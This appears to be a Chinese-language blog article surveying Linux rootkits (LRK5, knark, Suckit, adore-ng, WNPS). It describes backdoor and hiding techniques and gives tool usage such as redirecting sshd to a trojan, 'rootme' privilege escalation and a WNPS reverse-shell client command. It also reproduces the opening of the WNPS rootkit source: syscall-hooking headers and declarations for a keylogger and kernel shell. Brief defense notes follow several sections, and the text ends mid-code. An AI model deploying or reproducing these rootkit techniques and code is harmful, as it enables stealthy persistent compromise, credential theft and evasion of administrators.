目录
1. 引言 2. LRK5 Rootkit 3. knark Rootkit 3. Suckit(super user control kit) 4. adore-ng 5. WNPS 6. Sample Rootkit for Linux 7. suterusu 8. Rootkit Defense Tools 9. Linux Rootkit Scanner: kjackal
1. 引言
This paper attempts to analyze the characteristics from the attacker's point of view about the currentopen source rootkit key technology, hope can find common features of rootkit damage andhidden, and developed a general strategy for rootkit defense and counter method
In simple terms, rootkit can be divided into the following categories
目前已经存在的rootkit攻击思路
1. 后门程序使本地用户取得root权限 1) 设置uid程序 黑客在一些文件系统理放一些设置uid脚本程序。无论何时它们只要执行这个程序它们就会成为root,关于uid权限标志位相关知识,请参阅另一篇文章 http://www.cnblogs.com/LittleHann/p/3862652.html 2) 系统木马程序 黑客替换一些系统程序,如"login"程序。因此, 只要满足一定的条件,那些程序就会给黑客最高权限 3) cron后门 黑客在cron增加或修改一些任务,在某个特定的时间程序运行,他们就可以获得最高权限 2. 后门程序给远程用户以最高访问权限 1) ".rhost"文件 ".rhosts"文件是用户在linux/unix下用于建立双机互信的配置文件。一旦"黑客帐号"被加入某个用户的.rhosts文件里,任何人在任何地方都可以用这个账号来登陆进来而不需要密码 2) ssh认证密钥 黑客把他自己的公共密钥放到目标机器的ssh配置文件"authorized_keys"里, 他可以用该账号来访问机器而不需要密码 3) bind shell 3.1) 黑客绑定一个shell到一个特定的tcp端口。任何人telnet这个端口都可以获得交互的shell 3.2) 基于udp的后门通道 3.3) 未连接的tcp,即任意端口激活的(wnps)的后门rootkit 3.4) 基于icmp协议的隐蔽通道 4) 木马服务程序 任何打开的服务都可以成为木马来为远程用户提供访问权限。例如: 4.1) 利用inetd服务在一个特定的端口来创建一个bind shell 4.2) 通过ssh守护进程提供访问途径 3. 隐藏文件 入侵者需要做如下事情: 1) 替换一些系统常用命令如"ls", "du", "fsck" 这可以通过重定向可执行文件技术达到,通过截获sys_execve(),无论何时系统尝试去执行"ls"程序的时候, 它都会被重定向到入侵者给定的其他程序。 2) 在底层方面,他们通过把硬盘里的一些区域标记为坏块并把它的文件放在那里 3) 或者把一些文件放入引导块里 4) read系统调用劫持 4. 隐藏进程 1) 替换"ps"、"top"程序 2) 修改/proc下的内核变量 3) 劫持read、getdents64系统调用,直接对指定进程进行过滤 5. 隐藏网络连接状态 1) 修改/proc/net 2) 对netfilter提供的回调点注册过滤函数 6. 隐藏sniffer 1) 隐藏网络接口的杂拨模式 通过替换劫持sys_ioctl()系统调用实现 7. 隐藏rootkit模块本身 1) 隐藏lkm本身 一个优秀的lkm程序必须很好地隐藏它自己。系统里的lkm是用单向链表连接起来的, 为了隐藏lkm本身我们必须把它从链表中移走以至于lsmod这样的命令不能把它显示出来。 2) 隐藏符号表 通常的lkm中的函数将会被导出以至于其他模块可以使用它。因为我们是入侵者, 所以隐藏这些符号是必须的。幸运的是, 有一个宏可以供我们使用:"EXPORT_NO_SYMBOLS"。 把这个宏放在lkm的最后可以防止任何符号的输出Relevant Link:
http://www.cnblogs.com/LittleHann/p/3870974.html http://staronmytop.blog.51cto.com/6366057/1119475 http://www.xfocus.net/articles/200104/159.html
2. LRK5 Rootkit
0x1: Installation && Usage
download sourcecode ./configure -n make all install0x2: Features
通过替换用户态(ring3)的指令文件(即/bin、/sbin、/usr/bin下的默认指令对应的可执行文件)来实现后门rootkit的目的,这是一种指令劫持的思路
lrk5进行的替换如下:
1. chfn 这个指令用来修改用户的finger information(指纹信息),作为后门的chfn可以接收用户输入的password,从而进入rootkit模式 2. chsh 切换shell的指令,作为后门的chfn可以接收用户输入的password,从而进入rootkit模式 3. crontab 使用预设的"正常"的crontab(计划任务)给用户看,从而将rootkit设置的后门启动项隐藏起来 4. du 和ls作用类似,rootkit劫持后会隐藏rootkit相关文件,从而欺骗用户 5. find find [-H] [-L] [-P] [-Olevel] [-D help|tree|search|stat|rates|opt|exec] [path...] [expression] 寻找指定文件的指令,rootkit劫持后会隐藏rootkit相关文件,从而欺骗用户 6. ifconfig rootkit劫持后会隐藏"混杂模式"的标志位(混杂模式被rootkit用来进行网络流量嗅探) 7. inetd 用户后门访问的远程访问服务器 8. killall rootkit劫持了原本的"杀进程kill、killall"指令之后,会在本地维护一份"ROOTKIT_PROCESS_FILE"列表,凡是在这个列表中的进程都禁止杀死,以此对抗系统管理员使用kill命令强行结束rootkit后门程序 9. login rootkit劫持了login程序之后,除了保证原本的正常用户登录过程,还允许rootkit种植者使用一种叫"万能密码"的机制,即只要用户输入的密码是一个指定的"万能密码",则用户可以以任何身份登录任何用户 10. ls 对指定文件列表中的文件进行隐藏 11. netstat 对当前网络连接状态进行修改、隐藏 1) type 0: hide uid 2) type 1: hide local address 3) type 2: hide remote address 4) type 3: hide local port 5) type 4: hide remote port 6) type 5: hide UNIX socket path example: 1) 0 500: Hides all connections by uid 500 2) 1 128.31: Hides all local connections from 128.31.X.X 3) 2 128.31.39.20: Hides all remote connections to 128.31.39.20 4) 3 8000: Hides all local connections from port 8000 5) 4 6667: Hides all remote connections to port 6667 6) 5 .term/socket: Hides all UNIX sockets including the path 12. passwd Local user->root. Enter your rootkit password instead of your old password. 13. ps 修改、隐藏执行进程 An example data file is as follows: 1) 0 0 Strips all processes running under root 2) 1 p0 Strips tty p0 3) 2 sniffer Strips all programs with the name sniffer 4) 3 hack Strips all programs with 'hack' in them,ie. proghack1, hack.scan, snhack etc. 14. sshd 可以实现键盘、密码记录的功能 15. syslogd 修改、隐藏某些日志信息lrk5为每一种需要"劫持"的指令程序都编写了一个对应的ELF程序,从这里可以看出,lrk5只是在进行指令的劫持和替换,属于第一代rootkit,代码量较多,隐蔽性较差
0x3: Defense Strategy
针对这种rootkit,可以很容易地通过对系统关键目录建立"黄金基准hash库",只要匹配到指定敏感目录中的文件的hash值产生变化(即被修改和替换了),即表明当前系统遭受到了rootkit的攻击
典型的如: tripwire
lrk5进行的替换如下:
Relevant Link:
http://packetstormsecurity.com/files/10533/lrk5.src.tar.gz.html https://github.com/eqmcc/rk/tree/master/lrk5
3. knark Rootkit
0x1: Installation && Usage
make insmod knark0x2: Features
Knark具有以下特性:
1. 隐藏或显示文件或目录 2. 隐藏TCP或UDP连接 3. 程序执行重定向 4. 非授权地用户权限增加("rootme") 5. 改变一个运行进程的UID/GID的工具 6. 非授权地、特权程序远程执行守护进程(后门端口) 7. Kill –31: 隐藏运行的进程 8. 调用表修改: rootkit通过修改导出的系统调用表,对与攻击行为相关的系统调用进行替换,隐藏攻击者的行踪该软件包的核心软件是knark.c,它是一个Linux LKM(loadable kernel-module)当knark被加载,隐藏目录/proc/knark被创建,该目录下将包含以下文件:
1. author: 作者自我介绍 2. files: 系统中隐藏文件列表 3. nethides 在/proc/net/[tcp udp]隐藏的字符串 4. pids: 被隐藏的pids列表,格式类似于ps命令输出 5. redirects: 被重定向的可执行程序入口列表该软件包编译以后将有下面这些工具软件(它们都依赖于被加载的模块knark.o)
1. hidef: 用于在系统中隐藏文件 在/usr/lib目录下创建子目录hax0r,然后运行命令"./hidef /usr/lib/.hax0r",则该目录会被隐藏,"ls"或"du"等命令都不能显示该目录及其子目录 2. unhidef: 用来恢复被隐藏的文件 1) 可以通过访问"cat /proc/knark/files"来察看你隐藏了哪些文件 2) 通过"./unhidef /usr/lib/.hax0r"命令来解除对隐藏文件的隐藏 3. ered: 用来配置重定向程序的执行(进程劫持) 拷贝特洛伊木马版本的sshd为/usr/lib/.hax0r/sshd_trojan,然后运行"./ered /usr/local/sbin/sshd /usr/lib/.hax0r/sshd_trojan",这样当/usr/local/sbin/sshd被运行时,实际上运行的特洛伊木马版本的sshd。可以通过命令./ered -c来清楚所有的可执行程序重定向 4. nethide: 用来隐藏/proc/net/tcp和/proc/net/udp中的某些字符串 netstat命令就不会得到指定的链接信息。通过命令/nethide ":ABCD "可以隐藏和端口号ABCD(十六进制)相关的连接(43981 dec)。也就是对/proc/net/[tcp udp]读取时进行"grep -v"操作。 要理解knark这个功能的作用,我们需要理解使用该程序从/proc/net/[tcp udp]得到的输出的意义 1) 假设系统运行有sshd,那么连接到本地22端口以后,运行"netstat -at",则输出可能包含: Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 localhost:ssh localhost:1023 ESTABLISHED 2) 现在我们来检测文件/proc/net/tcp: cat /proc/net/tcp 则输出可能包含入下内容: sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode 0: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 17573 1 f4a4a540 99 0 0 10 -1 3) 若我们希望隐藏和地址127.0.0.1相关的任何信息,我们必须使用如上面所示的十六进制的格式。因此如果希望隐藏地址127.0.0.1的22号端口相关的内容就要使用0100007F:0016来标识该链接。因此"./nethide "0100007F:0016"将隐藏to/from localhost:22相关的链接信息 5. rootme: 用来实现非特权用户获得root访问权限 1) "./rootme /bin/sh" 实现以root身份运行/bin/sh 2) "./rootme /bin/ls -l /root" 仅仅以root身份运行单个命令。 6. taskhack: 用来改变某个运行着的进程的uid和gid ./taskhack -alluid=0 pid 该命令将进程pid的所有*uid's (uid, euid, suid, fsuid)为0(root) 7. rexec: 用来远程执行knark-server的命令: ./rexec www.microsoft.com haxored.server.nu /bin/touch /LUDER 这命令将从www.microsoft.com:53发送一个伪装的udp数据包到haxored.server.nu:53,来运行haxored.server.nu的命令"/bin/touch /LUDER" 入侵者入侵以后往往将knark的各种工具存放在/dev/某个子目录下创建的隐藏子目录,如/dev/.ida/.knard等等0x3: Defense Strategy
knark rootkit属于LKM层的rootkit,不容易通过普通方法发现和清除,建议使用的方法有
1. knarkfinder.c来发现Knark隐藏的进程 2. 以非特权用户身份来运行Knark的一个软件包如:rootme,看该用户是否能获得root权限。由于目前Knark目前没有认证机制,因此任何系统被安装了Knark任何一个本地用户运行这个程序都能获得root权限。 3. 使用kstat来检测 4. 去除LKM机制 1) 创建和使用不支持可加载模块的内核,也就是使用单块内核。这样knark就不能插入到内核中去了 2) 使用lcap实现系统启动结束以后移除内核LKM功能,这样可以防止入侵者加载模块Relevant Link:
http://packetstormsecurity.com/files/24853/knark-2.4.3.tgz.html http://netsecurity.51cto.com/art/200801/63989.htm http://netsecurity.51cto.com/art/200801/63989_1.htm http://netsecurity.51cto.com/art/200801/63989_2.htm http://antivirus.downloadatoz.com/5480,linux-rootkit-knark,removal-tips.html
3. Suckit(super user control kit)
0x1: Installation && Usage
make skconfig 输入各种参数 make0x2: Features
1. sk(suckit(super user control kit))后门服务端程序为静态ELF文件,压缩之后就几十K的大小,这意味着suckit对目标系统占用的资源较少,相对不容易出现CPU飙高等性能异常现象 2. 通过对肉鸡的任何开放的TCP端口发送特定数据就可以激活后门,端口复用 通过对肉鸡的任何开放的TCP端口发送特定数据就可以激活后门回连到我们的客户端,并且客户端有自动扫描功能,它会自动扫描肉鸡开放的端口并发送激活指令。特别在一些有防火墙的环境里,限制了回连的目标端口,我们还可以指定特殊的回连端口来绕过防火墙,比如回连到80、443这种一般都开放的TCP端口 3. sk后门 SK后门有一个TTY Sniffer(即"键盘记录"),不过它不但可以记录控制台的操作,还可以记录远程连接的操作 它根据程序指定的关键字抓取TTY记录,主要包括ssh、passwd、telnet、login等关键字。通过这个功能,我们可以很容易地抓到相关密码而扩大战果,特别是在Root密码设置十分BT的时候,我们无法用John来暴力破解,TTY Log就可以记录到Root的密码,甚至是其他Linux的Root密码 3. sk采用动态隐藏的方式来隐藏指定的内容,包括 1) 文件 2) 进程 3) 网络连接 当我们使用SK的客户端登录到肉鸡之后,除了文件是根据prefix隐藏之外,其他的一切操作都是隐藏的。这个功能十分方便,只要我们使用SK的客户端登录之后,就可以放心地操作了,不需要担心什么东西没有隐藏而被管理员发现。相比之下,adore-ng这类Rootkit就有点不人性化了,必须使用客户端手动隐藏指定的进程、网络和文件 4. sk可以感染系统的ELF文件达到自启动的目的,也可以通过替换系统的init文件来实现自动启动相较于其他的LKM注入、劫持型的rootkit而言,SK并没有修改系统调用跳转表的内容,而是:
1. sk首先拷贝了系统调用表 2. 然后将拷贝的系统调用表按照入侵者的意图进行修改成执行入侵者改写的系统调用响应函数 3. 然后将system_call从旧的系统调用表上移开,指向新的系统调用表Ps: 这种技术属于早些年的"修改内核对象达到劫持systemcall系统调用"的技术,对于linux下的系统调用劫持,还有很多别的姿势
http://www.cnblogs.com/LittleHann/p/3854977.html0x3: Defense Strategy
SK是通过读和写kmem来控制系统的,kmem是一个字符设备文件,是计算机主存的一个影像。它可以用于测试甚至修改系统,通过禁止写kmem可以从一定程度上防御sk rootkit
Relevant Link:
http://www.hacker.com.cn/uploadfile/2013/0416/20130416020443596.pdf
4. adore-ng
0x1: Installation && Usage
mv Makefile.2.6 Makefile make0x2: Features
相比于其他使用LKM相关的rootkit技术,adore-ng rootkit并不修改系统调用层的内容,而是通过修改VFS(Virtual Filesystem Switch)层的具体处理函数,如替换VFS层的 file_ops等函数,来实现信息隐藏目的
1. adore-ng稳定性较好 2. adore-ng后门服务端程序可以根据具体环境进行动态编译 3. 可以使用客户端手动的去隐藏指定的进程、网络和文件; 4. adore-ng可以可以通过插入或者替换系统模块来实现自动启动0x3: Defense Strategy
对于adore-ng的rootkit攻防,我们可以学习到的是:
1. 有很多的rootkit defenser软件会对系统调用进行安全性检测,看是否被替换或者增加了可疑的系统调用模块(LMK注入) 2. adore-ng不拦截系统调用,而是拦截具体文件系统的回调函数,因为本身文件系统(VFS)的回调函数就是动态注册的,就是动态变化的,那么反黑软件自然就不能简单下结论说这个函数被黑掉了,因此这个rootkit能获得更好的隐蔽性
5. WNPS
0x1: Installation && Usage
wnps的安装必须要注意的一个问题是linux内核版本的问题,这里建议使用red hat enterprise as4 kernel 2.6.9版本,太高版本在编译wnps的时候可能会出现问题
make && make install编译完成后,要注意的是,我们的client和肉鸡server使用的"tcp标志密码"一定要一致,通过config.进行配置,这个"tcp标志密码"用于附带在tcp数据报中,用于激活肉鸡端的shell开关,因此,本质上来说,wnps的使用应该分成两步: 本地监听一个端口等待肉鸡反连、向肉鸡发送密码激活肉鸡去反连、获得shell
这两步可以通过wnps提供的客户端自动完成
/* 目标肉鸡的ip是192.168.207.135 1. client会默认监听本地8899(可配置) 2. client会自动轮询从21端口开始向用户指定的远程肉鸡建立连接(因此必须先建立tcp连接才能发送带"tcp标志密码"的tcp数据包) 3. 和肉鸡建立好tcp连接之后,先肉鸡发送带"tcp标志密码"的tcp数据包 4. 肉鸡的wnps.o模块因为注册了netfilter的回调函数,当在tcp数据报中检测到了关键字之后,会自动开启shell,并进行内核级的反向连接 5. 后门建立成功 */ ./client -tcp 192.168.207.1350x2: Features
Wnps(wnps is not poc shell)是一款运行在Linux 2.6.x平台的rootkit+backdoor程序
1. 隐藏 1) 隐藏指定文件 2) 隐藏文件中"特定的内容" 3) 隐藏进程 4) "动态隐藏"网络连接、进程(类似sk的动态隐藏技术) 5) 隐藏自身模块 6) 保护相关模块、进程、文件不被跟踪 2. 密码记录(ssh, su, mysql, pop3, passwd etc) 3. 内核反弹后门(Backdoor功能) 1) 正向连接后门 2) 定时回连后门 回连部分可以稳定的与客户端进行通讯,上线方式为HTTP、或DNS 3) 置定时自动回连 4. 稳定性和通用性: 1) 兼容性 wnps能在2.6.0-2.6.24之间的x86,amd平台下稳定运行,跨平台简易安装拿着一个wnps.ko就可以管理所有2.6内核的机器,所有要做的事情只是执行insmod wnps.ko 2) 模块注射 比adore-ng更稳定的模块注射方式 5. 通讯加密 6. 开机可以自动运行 7. 客户端是一个可交互的控制台界面, 能控制多台主机0x3: Code Analysis
这里以xfocus上的beta版wnps为样本进行分析
hook.h
#ifndef HOOK_H #define HOOK_H #define PROC_HOME "/proc/kallsyms" #define SYSENTER_ENTRY "sysenter_entry" #define BUFF 100 #define READ_NUM 256 #define ORIG_EXIT 19 #define DIRECALL 42 #define SALTO 5 #define SKILL 49 #define SGETDENTS64 57 #define SREAD 65 #define DAFTER_CALL 70 #define DNRSYSCALLS 10 #define ASMIDType( valor ) \ __asm__ ( valor ); #define JmPushRet( valor ) \ ASMIDType \ ( \ "push %0 \n" \ "ret \n" \ \ : : "m" (valor) \ ); #define CallHookedSyscall( valor ) \ ASMIDType( "call *%0" : : "r" (valor) ); struct descriptor_idt { unsigned short offset_low; unsigned short ignore1; unsigned short ignore2; unsigned short offset_high; }; static struct { unsigned short limit; unsigned long base; }__attribute__ ((packed)) idt48; atomic_t read_activo; spinlock_t wnps_lock = SPIN_LOCK_UNLOCKED; unsigned int system_call_addr; void *sys_call_table_addr; void **sys_call_table; void *sysenter_entry; unsigned long dire_call,dire_exit,after_call; int errno; #endifhook.c
/* * WNPS V 0.26 beta2 *Wnps is not poc shell* * * Linux rootkit for x86 2.6.x kernel * */ #ifndef __KERNEL__ #define __KERNEL__ #endif #ifndef MODULE #define MODULE #endif #ifdef MODVERSIONS #include <linux/modversions.h> #endif #include <linux/types.h> #include <linux/stddef.h> #include <linux/unistd.h> #include <linux/module.h> #include <linux/version.h> #include <linux/kernel.h> #include <linux/string.h> #include <linux/mm.h> #include <linux/slab.h> #include <linux/sched.h> #include <linux/in.h> #include <linux/skbuff.h> #include <linux/netdevice.h> #include <linux/file.h> #include <linux/proc_fs.h> #include <linux/namei.h> #include <linux/dirent.h> #include <linux/kobject.h> #include <linux/ip.h> #include <linux/netdevice.h> #include <linux/netfilter.h> #include <linux/netfilter_ipv4.h> #include <linux/list.h> #include <linux/ptrace.h> #include <linux/spinlock.h> #include <linux/tty.h> #include <linux/tty_driver.h> #include <linux/timer.h> #include <linux/jiffies.h> #include <net/tcp.h> #include <asm/processor.h> #include <asm/uaccess.h> #include <asm/unistd.h> #include "config.h" #include "hook.h" #include "syscalls.h" #include "host.h" static inline my_syscall0(pid_t, fork); asmlinkage long (*orig_getdents64)(unsigned int fd, struct dirent64 *dirp, unsigned int count); asmlinkage ssize_t (*orig_read)(int fd, void *buf, size_t nbytes); //asmlinkage ssize_t (*orig_write)(int fd,void *buf,size_t count); int (*old_tcp4_seq_show)(struct seq_file *,void *); asmlinkage long Sys_getdents64(unsigned int fd, struct dirent64 *dirp, unsigned int count); asmlinkage ssize_t Sys_read(int fd, void *buf, size_t nbytes); asmlinkage ssize_t Sys_write(int fd,void *buf,size_t count); asmlinkage long Sys_chdir(const char __user *filename); asmlinkage int Sys_kill(pid_t pid,int sig); asmlinkage long Sys_ptrace(long request,long pid,long addr,long data); /* * function in shell.c */ extern unsigned int hook_func(unsigned int hooknum, struct sk_buff **skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)); extern int netfilter_test_init(void); extern void netfilter_test_exit(void); extern int kshell(int ip,int port); extern __u32 wnps_in_aton(const char *str); extern struct nf_hook_ops nfho; extern unsigned long myowner_port; extern unsigned long myowner_ip; extern unsigned int wztshell; extern char connect_ip[20]; /* * function in klogger.c */ extern void new_receive_buf(struct tty_struct *tty, const unsigned char *cp, char *fp, int count); extern void (*old_receive_buf)(struct tty_struct *,const unsigned char *,char *,int); int hook_init(void); static char read_buf[BUFF]; unsigned long sysenter; /* static struct timer_list my_timer; new_idt是用来进行系统调用中断劫持的idt跳转例程 */ void new_idt(void) { ASMIDType ( "cmp %0, %